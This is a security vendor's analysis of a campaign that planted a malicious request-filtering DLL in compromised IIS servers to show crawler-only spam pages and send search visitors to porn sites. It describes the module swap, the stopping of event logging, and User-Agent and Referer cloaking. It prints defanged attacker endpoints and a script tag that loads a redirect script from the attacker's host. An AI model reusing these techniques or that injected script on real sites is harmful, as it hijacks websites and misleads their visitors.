互联网信息服务(Internet Information Services)是由微软公司提供的基于运行Microsoft Windows的互联网基本服务,大多数Windows系统服务器均有安装,常用来运行Web服务。而当这一底层架构被恶意黑客盯上,网络威胁自然随之而来。

近日,360安全大脑独家发现一新型恶意模块,被黑客植入其攻陷的IIS WEB服务器,并利用该恶意模块替换IIS服务中的一个服务组件,躲避检测查杀。经360安全大脑分析,本次攻击事件最早开始于2020年8月,黑客攻陷数个知名云服务提供商的数十台服务器,受影响网站数量高达几千例,360安全大脑第一时间发出紧急安全预警。

攻陷公用云主机服务器,“染毒蜘蛛”过境数千网站

360安全大脑分析发现,被攻击服务器主要为公用云主机服务器,且通常黑客攻陷一个公用云主机服务器后,即可直接获得几十甚至上百个网站的控制权,其中不乏企业官网。360安全大脑监测数据显示,此次遭攻击服务器高达数十台,几千个网站受波及。

(部分受害企业)

鉴于上述情况,360安全大脑第一时间对样本展开分析,随后发现黑客在攻陷目标服务器后,会从网上下载一个包含db.db、dd.cc、e.cc模块、x64.dd、x86.dd五个文件的恶意压缩包,各文件功能具体如下:

db.db 是一个SQLite3数据库文件。主要包含恶意模块需要的网站模版及关键字等信息,此文件后续会被写入IIS目录下的inetsrv\modrqflt.dll:db.db文件中,这是一个拥有FILE_ATTRIBUTE_INTEGRITY_STREAM属性的文件,在目录下不可见。

dd.cc是黑客开发的恶意模块安装工具。黑客使用该工具可改变modrqflt.dll的访问控制权限(DACL),从而成功将modrqflt.dll重命名为cache.dll,并将恶意程序改名为modrqflt.dll。

e.cc模块是用来停止被攻陷服务器日志记录的功能。运行之后,其会遍历线程找到Eventlog服务的线程并停止,以此来停止日志记录的功能。

x64.dd为黑客编写的64位恶意modrqflt.dll,主要用来替换C:\Windows\System32\inetsrv下iis服务器自带的modrqflt.dll。

x86.dd 则是黑客编写的32位恶意modrqflt.dll,主要用来替换C:\Windows\SysWOW64\inetsrv下的modrqflt.dll。

(黑客攻陷目标服务器后下载的恶意压缩包)

modrqflt.dll是提供请求过滤处理(Request filtering handler)的功能模块,而成功替换后,黑客便可以过滤掉网站正常访问请求,专门为搜索引擎蜘蛛(爬虫)提供色情素材。

完成恶意模块的替换后,当搜索引擎蜘蛛(爬虫)访问网站原本失效链接时,此模块即会生成一个包含大量链接的“空白”页面,并将HTTP响应码由404改为200来欺骗“蜘蛛”(爬虫)。而“蜘蛛”在获取该页面后,会继续访问页面中的所有链接,并抽取关键字存入搜索数据库。此时,如果有用户搜索对应关键词,就会返回上述伪造链接及页面,如果恶意DLL仍然存在,则会直接跳转到色情网站。

空白页面神隐“透明”网址,骗过爬虫蜘蛛猖狂搞颜色

404页面并不少见,通常是由于服务器地址变动,或者维护不到位等因素导致网站个别链接失效。正常情况下,当搜索引擎蜘蛛爬取时遇到此类链接,也会显示404页面,但对于遭遇黑客攻陷的网站来说,其失效链接则会骗过“蜘蛛”,显示空白页面却在源码中暗藏大量链接。

看到这里你或许会有疑问,中招的网站怎么区分正常的用户和爬虫呢?其实当用户使用浏览器打开一个网站,浏览器向网站服务器发出请求时,会在请求数据头部设置一个User-Agent的字段,例如访问百度时:

而当搜索引擎爬取时,User-Agent设置的则有一些不一样:

百度蜘蛛

Mozilla/5.0(compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)

360蜘蛛:

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider

神马蜘蛛:

Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 YisouSpider/5.0 Safari/537.36

搜狗蜘蛛:

Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

此次事件中,不法黑客下载的恶意模块会通过判断User-Agent区分用户和蜘蛛(爬虫),当识别为搜索引擎蜘蛛后,就会返回上述100条链接,其中前80条hostname是恶意模块生成的随机页面,与当前网站的hostname一致;后20条hostname则是其他受害网站生成的随机页面,均为接口hxxp://zjclasjsdknlnxsa.com:8081/ping返回(此接口需要特殊User-Agent才能访问)。

与此同时,100条随机生成的页面链接,看似杂乱无章其实暗藏一定规律的,它们的URL一般是由下图中的规则构成,即[]中的为可选。

参照上图的URL规则,观察随机链接中的path字段会发现,它们全都是以lista/xzs/api/bks开头,且以上四个关键词,分别对应了四套恶意模块使用网站模版。

在生成网页过程中,程序还会随机读取keyword等其他表中的数据,以此来替换网站模版中的对应留空位置。四套模版运行如下图所示:

上述网页显示内容,都是访问受害网址时数据库关键字替换随机生成的,搜索引擎蜘蛛(爬虫)则会将上述伪造的URL和页面缓存在数据库中。当用户在搜索引擎中搜索色情关键词,一旦命中上述伪造页面内容,那么搜索引擎就会返回上述伪造的URL和页面摘要。

此时,如若用户点击页面网址,浏览器则会默认设置Referer字段,以此来标明是从那个链接找到当前的链接。恶意模块正是利用这一点,区分当前访问页面是否来自于百度/360/搜狗/神马等国内搜索引擎中的一种。

特别是,如果接口hxxp://zjclasjsdknlnxsa.com:8081/jump有返回数据,则会设置页面的内容为接口返回的数据:

如若没有获取到接口数据,则会访问db.db数据库,将jump中的代码插入网页中:

<script type="text/javascript"

src="hxxp://zjclasjsdknlnxsa.com/js/jump.js"></script>

jump.js内容如下:

上述代码的主要功能就是跳转到最终的色情网站:

而当我们在某搜索引擎搜索受害网站关键词时,点击搜索的链接,打开的就是色情网址hxxps://2**sg.xyz/,虽然原网址完全是一个正规网站。

(搜索网址为色情网站)

(受害网站原网址为正规网站)

黑灰产业链持续发酵,360安全大脑强势出击

经360安全大脑研判分析,此次是黑灰产业链的持续性攻击事件,黑客团伙使用专业的渗透技术对各类网站进行攻击并植入木马,非法获取服务器控制权,并在随意管控攻陷的肉鸡服务器的基础上,利用搜索引流扩散色情诈骗内容,影响正规网站正常业务运行。

现阶段,黑客团伙攻击仍在持续,广大用户应格外警惕,避免遭受不必要的损失。对此,360安全大脑给出如下安全建议:

1、尽快前往weishi.360.cn,下载安装360安全卫士,有效拦截各类病毒木马攻击,保护电脑隐私及财产安全;

2、注重服务器安全管理,规范安全等级保护工作,及时更新漏洞补丁;

3、建立网站安全策略,防止攻击发生时危害进一步扩大。